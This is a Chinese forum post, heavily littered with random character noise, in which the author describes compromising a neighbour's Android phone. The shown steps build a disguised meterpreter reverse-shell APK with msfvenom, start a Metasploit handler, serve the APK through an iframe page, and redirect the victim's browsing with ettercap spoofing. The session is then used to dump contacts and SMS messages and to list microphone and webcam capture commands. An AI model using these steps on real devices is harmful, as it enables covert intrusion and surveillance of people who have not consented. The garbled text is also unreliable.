|
& V' M& l- E+ z% d$ e- o. w 五、msf+ettercap入侵邻居安卓手机 8 S, z! z: E n% V
1 O+ B/ R5 y& P' S, N( I- ` ^( }) {9 P, z1 g: e% f
首先启动msf # o; G; Z: |& X8 s6 N0 r
6 H$ _9 C" N V$ j& T
2 E$ | _# F, }, W 先用kali生成一个安卓木马，如下命令：
* |8 C) U7 R" X, ]" S% Z0 `
; p: t. }* d, A- I- g3 }4 A
. U% N3 v( n/ N/ W- ^( z Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk % `# P& H# m# Q" l1 S
' G& O9 _8 P+ w/ N+ n+ I
% c* G6 F9 k$ j  为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻 ; e8 Q: X) g+ s' t3 D3 l
1 w; ~0 d. `- q* l' Z7 H( p% S1 b
1 }) a" p3 l I3 Z 然后进入msf
$ d1 b) G" l7 g J
# M% e& k8 d ]8 i
' E6 V* Q( G- W( \# p/ Z2 k use exploit/multi/handler 7 Y; Q: t# m2 k0 @/ A4 E
?. X6 N( x- ^; H+ ^5 w' {# g
6 M9 d& W% @6 ]* [& K+ {3 p set payload android/meterpreter/reverse_tcp 6 t, z- }/ ^& L: J2 |
* S$ c9 n0 Z" i6 q6 \4 V
T X- \% T1 N8 G6 A set LHOST 192.168.0.109 //ip为kaili的ip
% l$ T l4 Z _# o * ^' z0 Q+ O1 s3 ?: k/ I. ~$ J8 L+ \
& f* W |& q0 Y! V! B6 B* v set LPORT 44444 //端口一定要与前面生成的木马的端口一致 1 |9 q; P" I- r; q6 E9 d
, x6 J: s8 l b& ]/ D
- @- @ Y- Z, n \! C8 V8 [$ V Exploit
& L7 n; r9 |: j $ @. [" [9 @, z* T+ Q: u/ V; u8 t
9 ]4 w/ D% \# e8 N- k9 d: ^  6 D3 h; k% |7 q0 h- Z8 q# ~
7 }: o' {; @" [" K* H
" A( D% z: F; H1 U+ Z' T5 q p4 S 下面我们开启ettercap -G
# d3 S b' a: o% R # \; Y# @( b1 G. Z0 y, [
- J7 o: ?* y7 p3 ^ 我物理IP为
% U3 d& f a6 J6 ~3 p. i- B- A% y. o
: C8 z' [! @4 u6 |, u6 {
3 T% J, o+ q+ W+ C 
& U! J" x3 p$ m+ U' }
$ ~, M. f V0 H- c# X- ^1 N) r3 N! o9 \1 `5 _* U1 P: m5 e7 P
别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的，
( _& Q0 C% o# k, Q3 D# P
6 Y, F/ r0 M) r
/ S6 s6 E) ?6 h, j, G 下面我们来设置一下
& ~2 g' ]. _+ F/ c4 [ - y% {, B1 m. J, [
/ |7 J6 X; q. _2 Q+ b
 7 }) ~2 z1 B. {! o6 x6 j
, x% A; O+ I5 B |1 F- k0 P
% m5 w! Y& S3 t( C- z 在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了， 9 X! p$ m1 {. V& P' b
. g) e7 `. b5 f, m" s" B6 K! Z3 Q0 a' T" a: N$ z
; X e. n* L) X' P8 A
* ^7 |9 Z* h/ m& x* X. j+ h
* {- P8 z+ c0 m( t0 T9 V 
3 I6 a/ z/ Z n- J9 d% w3 a1 X 1 {' s2 k0 G8 F0 Y- h) u: O! q) Y
% k0 k4 E( w8 p8 m& I# ?
: W0 H0 U" @; V' O; U% a: J
9 O4 }" A8 o( N4 a
I# ?- R! l' w: i! Z! u
9 Z5 G& u. c/ v9 {& @7 b
o) P3 X* S |" l: Z, H0 M+ ~( |% b b7 L
( M: n# p+ |7 o5 j% a+ d
1 s& J6 S9 C& z* C8 t. A1 A \
8 f4 t J% E) I; m " e7 l% I6 J1 V: u: k
2 G# B, Z# f' s+ i4 k
0 R& j$ k' T; E
9 w7 i0 n* _4 L$ B
! v) g/ p) O+ A \7 b& K) \
, a, }3 s/ C8 H 7 B2 v+ r# y2 p4 l7 p, _0 g
4 }( m# l# \1 f
" i$ }8 b: p4 R- D' m! z
# Y7 l# w3 |- z+ w
' p3 s: |) \3 @( v* z+ B" Z& I) h* s. C2 Y" F9 ^1 T
" N( [ r$ k8 B' N
M- N% T# z& O1 d1 u; C7 y4 C& S
8 Z. w3 [' x# q# s2 h 6 A3 Z. n# F/ J: `
- s- t _* N8 g7 T l2 K. a" z; \5 V
9 l0 [6 `/ c8 J$ H+ H! P Z: U3 L5 m8 P' e8 ~/ w
6 ^9 z, z4 n. Y; [$ K. ~
# k. R& |3 F; x; F0 y; `( N% r 
, r7 e E; P6 Q " G! E. c3 {; q! q
- C4 u* X, _; z5 x' ?% C 下面我们开始攻击 ( @" C& m7 S2 A- L9 p
/ N4 ~$ b7 A6 a5 q2 x
: m6 A b$ Z2 i- R+ D1 n. G7 L" W& } " Z( ]1 J& H: I8 H) u" s
0 j" R' q4 K2 a, t; n
' }# @- q5 E; O/ Y% b* ~
6 N5 W+ u; Z) ?! V/ U# v. d
. x$ p$ o! j9 [- Z9 ~
- f% c: k, q2 ~
$ J5 c) u% M8 S% ?9 ] 2 r* j3 ]* V$ h5 R* l
& z" H% t4 H( x! l; e3 T
3 o- g$ L; l# j# I. k! Q( [
7 f7 m* ~1 k4 I9 x$ b. j2 G) }' {: i
9 l7 W* W" k( R1 o  & Y( \$ j* Q) z7 M' t
# m$ Y9 w, m% r! x1 \0 k F: U3 j. Y8 O* D
大概过了5分钟多，发现反弹成功了
. n' D: h) v3 |7 k) _$ t
& _) t' E1 H1 ]! v, O& x/ W; Z8 p' P3 P
. ?4 ~9 `: O3 q% h8 J/ Z, Y. D
8 S) z+ K. M/ z+ X2 s: {: X. a2 q m6 w
1 t3 B+ x$ P- c; w! p9 L! |1 C
" L5 d/ K2 W- V7 O2 [
8 w" t' F4 d7 m, |
1 X9 E {- u3 I$ Q2 K
$ ^$ y( F: o" N2 ?$ E/ [" G: }0 W0 f6 ~* ?
/ s9 _: ]. E" o9 A" @& x0 T * ?, f% s1 i: H# ]6 U% Z; [
- `% G9 Q! Q- t! U) t" O4 [$ A
! @, s! G0 W2 _5 e 9 Z7 U6 g. I" g/ X/ w
W9 {8 B$ U/ P: f, h( B6 }
! |* I. p$ y& T& c1 b6 T6 |( u
: E! j. c1 m( j+ ?( b1 C' h) b
?# @$ v& F" Z4 i  7 e& A& ] n( v) D6 B) T& ]6 v
: F* x, W5 B; u5 |- X: x
( U t' F: O4 z1 a2 r/ v: m. C 执行命令 3 K8 V |2 x5 \. v* v
0 }7 N: b+ m& _2 h; Z% }% O
6 h/ s6 y% R* m/ \
/ j" E6 o0 Z& I/ O& c" b* d 3 x( T, @6 J+ Y3 ?/ I
" o Q# w- U Q7 o* z- m, e& L& k
dump_contacts --》这个是导出电话 # N4 k! { j. d- N- }
9 S% y( G7 C0 K Y; o/ q) i; D9 y" l7 V7 P
1 B/ ~ k' G7 F" G" ~$ s( @ dump_sms --》这个是导出信息
2 {- W$ p2 \( |8 i$ n/ h
% }0 W0 q! @0 t0 {' K+ f7 Q# t- E1 s, u+ S, y
record_mic Record audio from the default microphone for X seconds
2 S2 r5 W) I5 U5 [: [, _ / Z5 M2 m6 ` ^2 h6 m
" H# \0 i( K! D5 } webcam_chat Start a video chat
8 B; | ]& s5 V+ q- i
u9 D1 z8 f) t+ _) S+ V& x. B: f' A" Z/ {* c' T* a7 E/ D
webcam_list List webcams & Y4 l) ` i( n
; Z# y( @# e5 j& i$ \$ _- X! \* l+ {9 S4 @. }$ `6 S8 ]
webcam_snap Take a snapshot from the specified webcam
: _2 C; F1 J6 R+ }2 x& A' F! A0 f5 e . y. a; B6 s5 s; t
) W% h. G+ R+ @ A* X% x7 K webcam_stream  lay a video stream from the specified webcam
& Z$ E2 C0 {* k+ F: w( [( z, B) [ ! I* G0 K6 I0 p' A1 S- D# k
) H6 J4 ]2 q" c. I f
% f; r3 ^6 f- p1 p* N! m% e4 A
2 q4 K" `) n6 n- R2 ~, g. z* I T+ n
 2 W1 j6 I9 b+ B+ n0 r& d, J9 k9 I
& P. d. Y2 O/ t5 w- [1 _
0 c Q N+ J7 Z: ?/ f8 y' O 我们打开看一下电话薄， + P* t8 ]# g) W2 v l
: }% ~) H7 \8 r9 E E6 R
# c" p+ h( N x5 [ - s' l: ? b% I. e1 ^' R
" h% d: d" m% S! ]: k u2 B
) A+ w& |% M' U: r: T! W  : O- q F, d1 h
5 E/ W1 b5 W6 ]1 e1 u5 d
! A$ W5 y' N' b/ E' j& Q
, [! k3 }! _* ~+ u+ ~ + y/ h- U. J0 Q) y/ r3 S
; w& Y; M( {, {$ h5 X3 z  $ C# ?8 L$ i8 Z4 Y
$ @& e% {5 T0 N, b; n. O! U/ p3 O
% Y' P/ P- j3 W4 s. a* U2 D: M+ i# W! K 
6 @2 b5 g- \4 V% B5 [% f 9 F) H+ o# {( d7 ~4 s
% X) C1 Y& L G: G
2 H; w, D: M$ S0 {9 r( |, ~ # @" @/ ~; H3 ~- f1 Z- p
0 L0 Z* z) J5 T/ _3 V4 T! v 我们同时欺骗成DroidJack木马，使用方法如图： ( Y1 x2 j' Y5 V, L
6 s" t( m* |5 E* z9 u3 ] o @! d, `- ]- S. W- l
' @5 N# w2 N o6 ]4 H $ T6 v4 G) x! `6 P- D
' n6 V9 Q) a1 y$ T% g. t
# `! m+ w/ S" U' Q/ |. b6 f
* P1 I' |$ {2 W9 [' e3 g
4 f# \! A2 x+ n) c5 J* s6 r% n2 O
 $ ~) y' J& x. S3 b, K- p' F
2 R5 d- @, l4 R" A
8 n9 h; y: N0 f) M 切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口 % u5 ~8 i: }6 o% w. r/ z0 o( v7 }
7 t5 o* g5 g2 p) E7 S( j
* p; ], J) B: z5 R1 V
 * q+ I: j8 p) R5 E/ z; J
) d; U3 p( S0 N' F+ ]
8 n, E4 J2 C" C; j3 N  z9 m# ^( G. y5 s6 W: p! r. g& f
3 l7 t; T! l; n( O- d
* ]& ~0 W( S. k1 v! Z+ v; _& E/ n* b 
: }# g( B' M" Y) t7 m$ n ; O" u3 V; V" G Q
( H1 r# z/ e; L# J$ z' }2 }0 T  
% c" W5 b/ G+ H, h) w1 W! d5 S6 _0 X+ L
8 p+ c+ N, i# |. x2 l
! Q4 ?6 z, c! C5 S. E( t
4 Z! t2 T, l7 U7 s0 z0 p* ~ | 
发表于 2018-10-20 20:30:37
收藏
支持
反对